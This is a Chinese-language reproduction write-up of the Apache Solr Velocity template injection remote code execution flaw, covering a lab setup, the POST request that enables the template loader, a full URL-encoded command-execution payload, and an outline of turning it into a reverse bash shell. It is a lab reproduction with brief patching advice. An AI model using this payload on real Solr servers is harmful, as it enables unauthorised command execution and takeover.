Solr Velocity模板远程代码复现及利用指南

华盟原创文章投稿奖励计划

0X01前言:


据消息称,安全研究员S00pY在GitHub发布了Apache Solr Velocity模板注入远程命令执行的POC.目前测试,可影响Apache Solr 7.X到8.2.0.故本地搭建环境,学习一下

Github的POC:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

0X02本地搭建:


1:在Solr官网下载8.2.0版本进行复现

https://archive.apache.org/dist/luceen/solr/

2:部署到Linux上

将压缩包解压到文件夹(任意一个文件夹都可以),然后进行bin目录启动Solr(注意不是根目录中的/bin)

Solr Velocity模板远程代码复现及利用指南

在此目录打开终端,输入命令./solr start

Solr Velocity模板远程代码复现及利用指南

本地访问端口8983

Solr Velocity模板远程代码复现及利用指南

3:创建核心

先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下

Solr Velocity模板远程代码复现及利用指南

添加核心

Solr Velocity模板远程代码复现及利用指南

然后访问该核心的config文件,查看是否可以访问

Solr Velocity模板远程代码复现及利用指南

确定config配置里的两个值均为True,如果不是,在第一次攻击报文中,修改为True

Solr Velocity模板远程代码复现及利用指南

0X03复现过程:


Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

Solr Velocity模板远程代码复现及利用指南

Solr Velocity模板远程代码复现及利用指南

然后发送执行命令的payload,这里先进行执行命令的回显.

Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Solr Velocity模板远程代码复现及利用指南

0X04构造EXP:

利用Velocity模板调用java语法进行命令执行,类似于传过去的就像jsp语法.这里有个坑,velocite里没有数组,改造官方POC,构造POC(exec(new String[]))就会出现问题,所以需要换一个方式,用base64编码的方法解决这个问题.

对数组的访问在Velocity中存在问题,因为Velocity只能访问对象的方法,而数组是特殊的数组,所以虽然数组可以循环列举,但不能访问特定位置的元素,如strs[2],数组对固定位置元素的访问调用了数组的反射方法get(Ojbect array,int index).而Velocity没能提供这样的访问,所以数组要么改成List等其他类容器的方式进行封装,或者通过公用Util的方式来提供,传入数组对象和要访问的位置参数,从而达到返回所需值的目的.

进一步利用,进行反弹shell利用bash反弹shell

官网POC,只能执行单个命令的缺陷:当存在|,<,>等符号时就会报错无法执行,无法进行反弹shell等问题,使用base64编码

http://www.jackson-t.ca/runtime-exec-payloads.html

然后在进行url编码,填入替换exec里的payload即可.

Solr Velocity模板远程代码复现及利用指南

0X05防御措施:

www.idc126.com

攻击者可以直接访问访问Solr控制台,通过访问节点胚子进行getshell获取权限.目前官方已有补丁,在没有补丁的情况下建议增加solr的认证模块,设置强口令,减少被入侵的风险.

本文来源黑白之道,经授权后由张发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论